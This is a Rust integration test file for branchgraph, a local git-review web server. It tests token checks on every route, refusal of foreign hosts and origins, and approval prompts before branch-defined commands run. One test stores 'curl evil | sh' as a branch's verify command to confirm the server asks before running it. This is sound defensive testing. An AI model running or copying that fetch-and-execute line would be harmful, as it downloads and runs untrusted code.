- Drop fields and functions nothing reads: job and proc tips, fetch time, PR url/author (and their GraphQL fields), spine summaries, diff::commit, unread data attributes, unused CSS and tokens. - One home each for state wording (naming main as the repo does), lane lookup, unseen, outdated, main's tip, the stop wait and the token header. - Narrow visibility; rename render::View to Filter; queue ranking moves to the CLI, its only user. - Token test covers every route; shared checkout snapshot in the fixture. - Client: errors outside Run/Send are toasts, history only after a good load, a drag stays in one file, the agent marker is a ring. - design.md, the skill and AGENTS.md describe what is built.
747 lines
23 KiB
Rust
747 lines
23 KiB
Rust
mod fixture;
|
|
|
|
use std::time::Duration;
|
|
|
|
use branchgraph::{git, live, server};
|
|
use fixture::{Fixture, commit, git as run};
|
|
|
|
struct Served {
|
|
port: u16,
|
|
token: String,
|
|
}
|
|
|
|
impl Served {
|
|
fn url(&self, path: &str) -> String {
|
|
format!("http://127.0.0.1:{}{path}", self.port)
|
|
}
|
|
/// A client that sends the token, as the CLI does.
|
|
fn client(&self) -> reqwest::Client {
|
|
let mut headers = reqwest::header::HeaderMap::new();
|
|
headers.insert("x-bg-token", self.token.parse().unwrap());
|
|
reqwest::Client::builder()
|
|
.default_headers(headers)
|
|
.redirect(reqwest::redirect::Policy::none())
|
|
.build()
|
|
.unwrap()
|
|
}
|
|
}
|
|
|
|
async fn serve(f: &Fixture) -> Served {
|
|
serve_on(f, true).await
|
|
}
|
|
|
|
async fn serve_on(f: &Fixture, loopback: bool) -> Served {
|
|
let repo = git::open(&f.clone).unwrap();
|
|
let app = live::App::new(repo.into_sync());
|
|
live::spawn(app.clone(), None, None, None);
|
|
app.snapshot
|
|
.subscribe()
|
|
.wait_for(|s| s.graph.is_some())
|
|
.await
|
|
.unwrap();
|
|
let listener = tokio::net::TcpListener::bind(("127.0.0.1", 0))
|
|
.await
|
|
.unwrap();
|
|
let port = listener.local_addr().unwrap().port();
|
|
let state = f.clone.with_file_name("state");
|
|
std::fs::create_dir_all(&state).unwrap();
|
|
let ctx = server::Ctx::new(
|
|
app,
|
|
"fixture".into(),
|
|
server::token().unwrap(),
|
|
state,
|
|
false,
|
|
);
|
|
let token = ctx.token.clone();
|
|
tokio::spawn(
|
|
axum::serve(
|
|
listener,
|
|
server::router(
|
|
ctx,
|
|
std::net::SocketAddr::from(([127, 0, 0, 1], port)),
|
|
loopback,
|
|
),
|
|
)
|
|
.into_future(),
|
|
);
|
|
Served { port, token }
|
|
}
|
|
|
|
/// Reads the event stream until an event of `kind` contains `needle`.
|
|
async fn wait_for(resp: &mut reqwest::Response, kind: &str, needle: &str) {
|
|
let mut buf = String::new();
|
|
loop {
|
|
let chunk = resp.chunk().await.unwrap().expect("stream stays open");
|
|
buf.push_str(&String::from_utf8_lossy(&chunk));
|
|
if buf
|
|
.split("\n\n")
|
|
.any(|e| e.starts_with(&format!("event: {kind}")) && e.contains(needle))
|
|
{
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn a_new_branch_reaches_an_open_page_without_reload() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let mut events = s.client().get(s.url("/events")).send().await.unwrap();
|
|
assert_eq!(events.status(), 200);
|
|
wait_for(&mut events, "rail", "feat/old").await;
|
|
|
|
let c = f.clone.as_path();
|
|
run(c, &["checkout", "-q", "-b", "feat/new", "main"]);
|
|
commit(c, "new.txt", "new\n", "new branch commit");
|
|
tokio::time::timeout(
|
|
Duration::from_secs(10),
|
|
wait_for(&mut events, "rail", r#"data-ref="feat/new""#),
|
|
)
|
|
.await
|
|
.expect("update within 10 s");
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn other_hosts_and_origins_are_refused() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
assert_eq!(client.get(s.url("/")).send().await.unwrap().status(), 200);
|
|
let rebound = client
|
|
.get(s.url("/"))
|
|
.header("Host", format!("evil.example:{}", s.port))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(rebound.status(), 403);
|
|
let cross = client
|
|
.post(s.url("/api/fetch"))
|
|
.header("Origin", "http://evil.example")
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(cross.status(), 403);
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn every_route_needs_the_token_and_the_printed_url_sets_it() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let bare = reqwest::Client::builder()
|
|
.redirect(reqwest::redirect::Policy::none())
|
|
.build()
|
|
.unwrap();
|
|
let body = serde_json::json!({ "b": "feat/old", "text": "x", "tip": "0000000000000000000000000000000000000000" });
|
|
for path in [
|
|
"/api/comment",
|
|
"/api/comment/delete",
|
|
"/api/comment/edit",
|
|
"/api/instruction",
|
|
"/api/sent",
|
|
"/api/config",
|
|
"/api/seen",
|
|
"/api/run",
|
|
"/api/stop",
|
|
"/api/send",
|
|
"/api/fetch",
|
|
"/api/checkout",
|
|
"/api/merge",
|
|
] {
|
|
let r = bare.post(s.url(path)).json(&body).send().await.unwrap();
|
|
assert_eq!(r.status(), 403, "POST {path}");
|
|
}
|
|
for path in [
|
|
"/",
|
|
"/view?b=feat/old",
|
|
"/file?b=feat/old&f=old.txt",
|
|
"/panel?ref=feat/old",
|
|
"/menu?ref=feat/old",
|
|
"/events",
|
|
"/api/brief?b=feat/old",
|
|
"/api/config?b=feat/old",
|
|
"/api/log?b=feat/old",
|
|
"/api/log.txt?b=feat/old",
|
|
] {
|
|
assert_eq!(
|
|
bare.get(s.url(path)).send().await.unwrap().status(),
|
|
403,
|
|
"GET {path}"
|
|
);
|
|
}
|
|
let wrong = bare
|
|
.post(s.url("/api/run"))
|
|
.header("x-bg-token", "nope")
|
|
.json(&body)
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(wrong.status(), 403);
|
|
|
|
// The printed URL trades the token for a cookie and drops it from the address.
|
|
let first = bare
|
|
.get(s.url(&format!("/?t={}&b=feat/old", s.token)))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(first.status(), 303);
|
|
assert_eq!(first.headers()["location"], "/?b=feat/old");
|
|
let cookie = first.headers()["set-cookie"].to_str().unwrap().to_owned();
|
|
assert!(
|
|
cookie.contains("HttpOnly") && cookie.contains("SameSite=Strict"),
|
|
"{cookie}"
|
|
);
|
|
let page = bare
|
|
.get(s.url("/?b=feat/old"))
|
|
.header("cookie", cookie.split(';').next().unwrap())
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(page.status(), 200);
|
|
assert!(
|
|
!page.text().await.unwrap().contains(&s.token),
|
|
"the page never shows the token"
|
|
);
|
|
|
|
// With the token the request reaches the action: no run command is set.
|
|
let with = s
|
|
.client()
|
|
.post(s.url("/api/run"))
|
|
.json(&body)
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(with.status(), 409);
|
|
assert!(with.text().await.unwrap().contains(".branchgraph"));
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn since_last_review_shows_only_what_came_after_the_seen_tip() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let c = f.clone.as_path();
|
|
let client = s.client();
|
|
let stat = |html: String| {
|
|
html.split("class=\"total muted mono\">")
|
|
.nth(1)
|
|
.and_then(|t| t.split('<').next())
|
|
.unwrap_or("")
|
|
.to_owned()
|
|
};
|
|
let view = |q: &str| {
|
|
let req = client.get(s.url(&format!("/view?{q}")));
|
|
async move { req.send().await.unwrap().text().await.unwrap() }
|
|
};
|
|
|
|
// Never seen: the whole branch, two lines added to old.txt.
|
|
assert_eq!(stat(view("b=feat/old").await), "1 file +2");
|
|
// Opening the page wrote nothing: still the whole branch.
|
|
assert_eq!(stat(view("b=feat/old").await), "1 file +2");
|
|
|
|
// Seen at its first commit: the default view is what came after.
|
|
let first = run(c, &["rev-parse", "feat/old~1"]);
|
|
let r = client
|
|
.post(s.url("/api/seen"))
|
|
.json(&serde_json::json!({ "b": "feat/old", "tip": first }))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(r.status(), 204);
|
|
assert_eq!(stat(view("b=feat/old").await), "1 file +1");
|
|
assert_eq!(stat(view("b=feat/old&whole=1").await), "1 file +2");
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn bound_beyond_loopback_any_host_works_with_the_token_only() {
|
|
let f = Fixture::new();
|
|
let s = serve_on(&f, false).await;
|
|
let host = format!("devbox.lan:{}", s.port);
|
|
let with = s
|
|
.client()
|
|
.get(s.url("/"))
|
|
.header("Host", &host)
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(with.status(), 200, "another host name is fine off loopback");
|
|
let bare = reqwest::Client::new();
|
|
let without = bare
|
|
.get(s.url("/"))
|
|
.header("Host", &host)
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(without.status(), 403, "still nothing without the token");
|
|
let cross = s
|
|
.client()
|
|
.post(s.url("/api/fetch"))
|
|
.header("Host", &host)
|
|
.header("Origin", "http://evil.example")
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(cross.status(), 403, "a cross-site page cannot post");
|
|
let same = s
|
|
.client()
|
|
.post(s.url("/api/fetch"))
|
|
.header("Host", &host)
|
|
.header("Origin", format!("http://{host}"))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(same.status(), 202);
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn a_review_is_edited_copied_and_marked_sent() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let c = s.client();
|
|
let post = |path: &str, body: serde_json::Value| c.post(s.url(path)).json(&body).send();
|
|
let b = "feat/long";
|
|
assert_eq!(post("/api/comment", serde_json::json!({ "b": b, "path": "long.txt", "start": 1, "end": 1, "excerpt": "+39", "text": "Second" })).await.unwrap().status(), 204);
|
|
assert_eq!(
|
|
post(
|
|
"/api/comment",
|
|
serde_json::json!({ "b": b, "text": "Whole branch" })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
assert_eq!(
|
|
post(
|
|
"/api/comment",
|
|
serde_json::json!({ "b": b, "path": "a.txt", "text": "First by path" })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
assert_eq!(
|
|
post(
|
|
"/api/comment/edit",
|
|
serde_json::json!({ "b": b, "id": 1, "text": "Second, edited" })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
assert_eq!(
|
|
post(
|
|
"/api/instruction",
|
|
serde_json::json!({ "b": b, "instruction": "Do not push." })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
|
|
let copied: serde_json::Value = c
|
|
.get(s.url(&format!("/api/brief?b={b}")))
|
|
.send()
|
|
.await
|
|
.unwrap()
|
|
.json()
|
|
.await
|
|
.unwrap();
|
|
let brief = copied["text"].as_str().unwrap().to_owned();
|
|
assert!(
|
|
brief.contains("Second, edited") && brief.contains("Do not push."),
|
|
"{brief}"
|
|
);
|
|
let order: Vec<usize> = ["First by path", "Second, edited", "Whole branch"]
|
|
.iter()
|
|
.map(|t| brief.find(t).unwrap())
|
|
.collect();
|
|
assert!(
|
|
order.windows(2).all(|w| w[0] < w[1]),
|
|
"by file, then the branch: {brief}"
|
|
);
|
|
|
|
// Edited after the copy: the agent has the old text, so it stays a draft.
|
|
let first = copied["sent"]
|
|
.as_array()
|
|
.unwrap()
|
|
.iter()
|
|
.find(|p| p[1] == "First by path")
|
|
.unwrap()[0]
|
|
.clone();
|
|
assert_eq!(
|
|
post(
|
|
"/api/comment/edit",
|
|
serde_json::json!({ "b": b, "id": first, "text": "First, edited after the copy" })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
|
|
// Copied into a session by hand, then marked sent: only what it held.
|
|
assert_eq!(
|
|
post(
|
|
"/api/sent",
|
|
serde_json::json!({ "b": b, "sent": copied["sent"], "instruction": copied["instruction"] })
|
|
)
|
|
.await
|
|
.unwrap()
|
|
.status(),
|
|
204
|
|
);
|
|
let after: serde_json::Value = c
|
|
.get(s.url(&format!("/api/brief?b={b}")))
|
|
.send()
|
|
.await
|
|
.unwrap()
|
|
.json()
|
|
.await
|
|
.unwrap();
|
|
let after = after["text"].as_str().unwrap().to_owned();
|
|
assert!(
|
|
!after.contains("Second, edited") && !after.contains("Do not push."),
|
|
"{after}"
|
|
);
|
|
assert!(after.contains("First, edited after the copy"), "{after}");
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn run_asks_before_a_command_main_does_not_have_and_not_again_once_approved() {
|
|
let f = Fixture::new();
|
|
let c = f.clone.as_path();
|
|
fixture::commit(
|
|
c,
|
|
".branchgraph",
|
|
"[branchgraph]\n\trun = true\n",
|
|
"main runs true",
|
|
);
|
|
run(c, &["push", "-q", "origin", "main"]);
|
|
run(c, &["checkout", "-q", "-b", "feat/other-run", "main"]);
|
|
fixture::commit(
|
|
c,
|
|
".branchgraph",
|
|
"[branchgraph]\n\trun = echo branch\n",
|
|
"the branch runs something else",
|
|
);
|
|
run(c, &["push", "-q", "-u", "origin", "feat/other-run"]);
|
|
run(c, &["checkout", "-q", "main"]);
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let start = |approve: Vec<&str>| {
|
|
client
|
|
.post(s.url("/api/run"))
|
|
.json(&serde_json::json!({ "b": "feat/other-run", "approve": approve }))
|
|
.send()
|
|
};
|
|
|
|
let ask = start(vec![]).await.unwrap();
|
|
assert_eq!(ask.status(), 428);
|
|
let q: serde_json::Value = ask.json().await.unwrap();
|
|
assert_eq!(q["commands"], serde_json::json!(["echo branch"]));
|
|
// Approving something else than what is there now is not approval.
|
|
assert_eq!(start(vec!["echo other"]).await.unwrap().status(), 428);
|
|
assert_eq!(
|
|
start(vec!["echo branch"]).await.unwrap().status(),
|
|
204,
|
|
"approved what was shown, it runs"
|
|
);
|
|
assert_eq!(
|
|
start(vec![]).await.unwrap().status(),
|
|
204,
|
|
"approved once, not asked again"
|
|
);
|
|
|
|
// A branch running what main runs is not asked about.
|
|
let same = client
|
|
.post(s.url("/api/run"))
|
|
.json(&serde_json::json!({ "b": "feat/old" }))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(same.status(), 204);
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn send_asks_about_a_verify_main_lacks_but_not_about_the_default_agent() {
|
|
let f = Fixture::new();
|
|
let c = f.clone.as_path();
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let send = |b: &str| {
|
|
client
|
|
.post(s.url("/api/send"))
|
|
.json(&serde_json::json!({ "b": b }))
|
|
.send()
|
|
};
|
|
let instruct = |b: &str| {
|
|
client
|
|
.post(s.url("/api/instruction"))
|
|
.json(&serde_json::json!({ "b": b, "instruction": "Go." }))
|
|
.send()
|
|
};
|
|
|
|
// No .branchgraph anywhere: both sides use the default agent, no question.
|
|
instruct("feat/old").await.unwrap();
|
|
assert_eq!(send("feat/old").await.unwrap().status(), 204);
|
|
|
|
// A branch whose brief names a verify main does not have: asked.
|
|
run(c, &["checkout", "-q", "-b", "feat/verify", "main"]);
|
|
fixture::commit(
|
|
c,
|
|
".branchgraph",
|
|
"[branchgraph]\n\tverify = curl evil | sh\n",
|
|
"a verify main lacks",
|
|
);
|
|
run(c, &["push", "-q", "-u", "origin", "feat/verify"]);
|
|
run(c, &["checkout", "-q", "main"]);
|
|
let mut seen = false;
|
|
for _ in 0..50 {
|
|
if client
|
|
.get(s.url("/api/brief?b=feat/verify"))
|
|
.send()
|
|
.await
|
|
.unwrap()
|
|
.status()
|
|
== 200
|
|
{
|
|
seen = true;
|
|
break;
|
|
}
|
|
tokio::time::sleep(Duration::from_millis(100)).await;
|
|
}
|
|
assert!(seen, "the new branch shows up");
|
|
instruct("feat/verify").await.unwrap();
|
|
let ask = send("feat/verify").await.unwrap();
|
|
assert_eq!(ask.status(), 428);
|
|
let q: serde_json::Value = ask.json().await.unwrap();
|
|
assert!(
|
|
q["commands"]
|
|
.as_array()
|
|
.unwrap()
|
|
.iter()
|
|
.any(|c| c == "curl evil | sh"),
|
|
"{q}"
|
|
);
|
|
// The copied brief asks nothing, so it leaves the unapproved verify out.
|
|
let copied: serde_json::Value = client
|
|
.get(s.url("/api/brief?b=feat/verify"))
|
|
.send()
|
|
.await
|
|
.unwrap()
|
|
.json()
|
|
.await
|
|
.unwrap();
|
|
assert!(
|
|
!copied["text"].as_str().unwrap().contains("curl evil"),
|
|
"{copied}"
|
|
);
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn setup_still_runs_when_saving_settings_made_the_worktree() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let saved = client
|
|
.post(s.url("/api/config"))
|
|
.json(&serde_json::json!({ "b": "feat/old", "text": "[branchgraph]\n\tsetup = touch setup-ran\n\trun = true\n" }))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(saved.status(), 200);
|
|
let file = std::path::PathBuf::from(saved.text().await.unwrap());
|
|
let ran = file.with_file_name("setup-ran");
|
|
assert!(!ran.exists(), "saving runs nothing");
|
|
let run = client
|
|
.post(s.url("/api/run"))
|
|
.json(&serde_json::json!({ "b": "feat/old" }))
|
|
.send()
|
|
.await
|
|
.unwrap();
|
|
assert_eq!(run.status(), 204, "what the page saved is approved");
|
|
for _ in 0..50 {
|
|
if ran.exists() {
|
|
return;
|
|
}
|
|
tokio::time::sleep(Duration::from_millis(100)).await;
|
|
}
|
|
panic!("setup did not run on the first Run");
|
|
}
|
|
|
|
/// The value of `data-<name>` on the review, the range the page shows.
|
|
fn review_attr(html: &str, name: &str) -> String {
|
|
html.split(&format!(" data-{name}=\""))
|
|
.nth(1)
|
|
.and_then(|t| t.split('"').next())
|
|
.unwrap_or("")
|
|
.to_owned()
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn another_base_diffs_from_where_the_branches_split() {
|
|
let f = Fixture::new();
|
|
let c = f.clone.as_path();
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let view = |q: &str| {
|
|
let req = client.get(s.url(&format!("/view?{q}")));
|
|
async move { req.send().await.unwrap().text().await.unwrap() }
|
|
};
|
|
let split = run(c, &["merge-base", "origin/feat/old", "origin/feat/synced"]);
|
|
let html = view("b=feat/synced&whole=1&base=feat/old").await;
|
|
assert_eq!(review_attr(&html, "base"), "feat/old");
|
|
assert_eq!(
|
|
review_attr(&html, "from"),
|
|
split,
|
|
"git merge-base of the two"
|
|
);
|
|
// Since a review, the base still holds: the page names it, so the next
|
|
// "All" is the diff it claims.
|
|
let since = run(c, &["rev-parse", "origin/feat/synced~1"]);
|
|
let narrow = view(&format!("b=feat/synced&since={since}&base=feat/old")).await;
|
|
assert_eq!(review_attr(&narrow, "base"), "feat/old");
|
|
assert_eq!(review_attr(&narrow, "from"), since);
|
|
// A branch cannot be its own base: main it is.
|
|
let own = view("b=feat/synced&whole=1&base=feat/synced").await;
|
|
assert_eq!(review_attr(&own, "base"), "main");
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn checkout_switches_the_users_checkout_but_never_over_their_changes() {
|
|
let f = Fixture::new();
|
|
let c = f.clone.as_path();
|
|
// Only on origin: checking it out makes a branch tracking it.
|
|
run(c, &["branch", "-D", "feat/old"]);
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let tip = |b: &str| run(c, &["rev-parse", &format!("origin/{b}")]);
|
|
let act = |b: &str, tip: String| {
|
|
client
|
|
.post(s.url("/api/checkout"))
|
|
.json(&serde_json::json!({ "b": b, "tip": tip }))
|
|
.send()
|
|
};
|
|
let head = || run(c, &["rev-parse", "--abbrev-ref", "HEAD"]);
|
|
|
|
std::fs::write(c.join("app.txt"), "changed\n").unwrap();
|
|
let refused = act("feat/old", tip("feat/old")).await.unwrap();
|
|
assert_eq!(refused.status(), 409);
|
|
assert!(refused.text().await.unwrap().contains("modified"));
|
|
// Staged only counts too.
|
|
run(c, &["add", "app.txt"]);
|
|
assert_eq!(
|
|
act("feat/old", tip("feat/old")).await.unwrap().status(),
|
|
409
|
|
);
|
|
assert_eq!(head(), "main");
|
|
run(c, &["reset", "-q", "--hard"]);
|
|
|
|
// The menu showed another tip: the branch moved, nothing happens.
|
|
assert_eq!(act("feat/old", tip("main")).await.unwrap().status(), 409);
|
|
assert_eq!(head(), "main");
|
|
|
|
assert_eq!(
|
|
act("feat/old", tip("feat/old")).await.unwrap().status(),
|
|
200
|
|
);
|
|
assert_eq!(head(), "feat/old");
|
|
assert_eq!(
|
|
run(c, &["rev-parse", "--abbrev-ref", "feat/old@{upstream}"]),
|
|
"origin/feat/old"
|
|
);
|
|
// Checked out in another worktree: git would refuse, so does the page.
|
|
let agent = run(c, &["rev-parse", "agent/x"]);
|
|
let other = act("agent/x", agent).await.unwrap();
|
|
assert_eq!(other.status(), 409);
|
|
assert!(other.text().await.unwrap().contains("checked out in"));
|
|
// Local main behind origin's, which the graph shows: switched, and told.
|
|
run(c, &["branch", "-f", "main", "main~1"]);
|
|
let behind = act("main", tip("main")).await.unwrap();
|
|
assert_eq!(behind.status(), 200);
|
|
assert!(behind.text().await.unwrap().contains("not at"));
|
|
}
|
|
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn merge_goes_into_the_checked_out_branch_and_a_conflict_is_undone() {
|
|
let f = Fixture::new();
|
|
let c = f.clone.as_path();
|
|
run(c, &["config", "user.name", "lead"]);
|
|
run(c, &["config", "user.email", "lead@example.com"]);
|
|
let s = serve(&f).await;
|
|
let client = s.client();
|
|
let merge = |b: &str| {
|
|
let tip = run(c, &["rev-parse", &format!("origin/{b}")]);
|
|
client
|
|
.post(s.url("/api/merge"))
|
|
.json(&serde_json::json!({ "b": b, "tip": tip }))
|
|
.send()
|
|
};
|
|
let before = run(c, &["rev-parse", "HEAD"]);
|
|
|
|
let conflict = merge("feat/conflict").await.unwrap();
|
|
assert_eq!(conflict.status(), 409);
|
|
assert!(conflict.text().await.unwrap().contains("app.txt"));
|
|
assert_eq!(run(c, &["rev-parse", "HEAD"]), before);
|
|
assert_eq!(
|
|
run(c, &["status", "--porcelain", "--untracked-files=no"]),
|
|
""
|
|
);
|
|
assert!(!c.join(".git/MERGE_HEAD").exists(), "not left mid-merge");
|
|
|
|
// The user's own merge in progress is theirs: refused, not aborted.
|
|
run(c, &["merge", "-q", "--no-commit", "--no-ff", "feat/synced"]);
|
|
let theirs = merge("feat/old").await.unwrap();
|
|
assert_eq!(theirs.status(), 409);
|
|
assert!(
|
|
c.join(".git/MERGE_HEAD").exists(),
|
|
"their merge is still there"
|
|
);
|
|
run(c, &["merge", "--abort"]);
|
|
|
|
// No branch to merge into.
|
|
run(c, &["checkout", "-q", "--detach"]);
|
|
assert_eq!(merge("feat/old").await.unwrap().status(), 409);
|
|
run(c, &["checkout", "-q", "main"]);
|
|
|
|
let ok = merge("feat/old").await.unwrap();
|
|
assert_eq!(ok.status(), 200);
|
|
assert_eq!(ok.text().await.unwrap(), "Merged feat/old into main");
|
|
let again = merge("feat/old").await.unwrap();
|
|
assert!(again.text().await.unwrap().contains("nothing to merge"));
|
|
let tip = run(c, &["rev-parse", "origin/feat/old"]);
|
|
run(c, &["merge-base", "--is-ancestor", &tip, "HEAD"]);
|
|
assert_eq!(run(c, &["rev-parse", "--abbrev-ref", "HEAD"]), "main");
|
|
}
|
|
|
|
/// maud writes `.a class=…` as two class attributes and browsers keep the
|
|
/// first: label states and the selected rows went unstyled that way.
|
|
#[tokio::test(flavor = "multi_thread")]
|
|
async fn no_element_has_two_class_attributes() {
|
|
let f = Fixture::new();
|
|
let s = serve(&f).await;
|
|
let html = s
|
|
.client()
|
|
.get(s.url("/?b=feat/old&whole=1"))
|
|
.send()
|
|
.await
|
|
.unwrap()
|
|
.text()
|
|
.await
|
|
.unwrap();
|
|
let doubled: Vec<&str> = html
|
|
.split('<')
|
|
.filter(|tag| {
|
|
tag.split('>')
|
|
.next()
|
|
.unwrap_or("")
|
|
.matches(" class=")
|
|
.count()
|
|
> 1
|
|
})
|
|
.collect();
|
|
assert!(doubled.is_empty(), "{doubled:?}");
|
|
}
|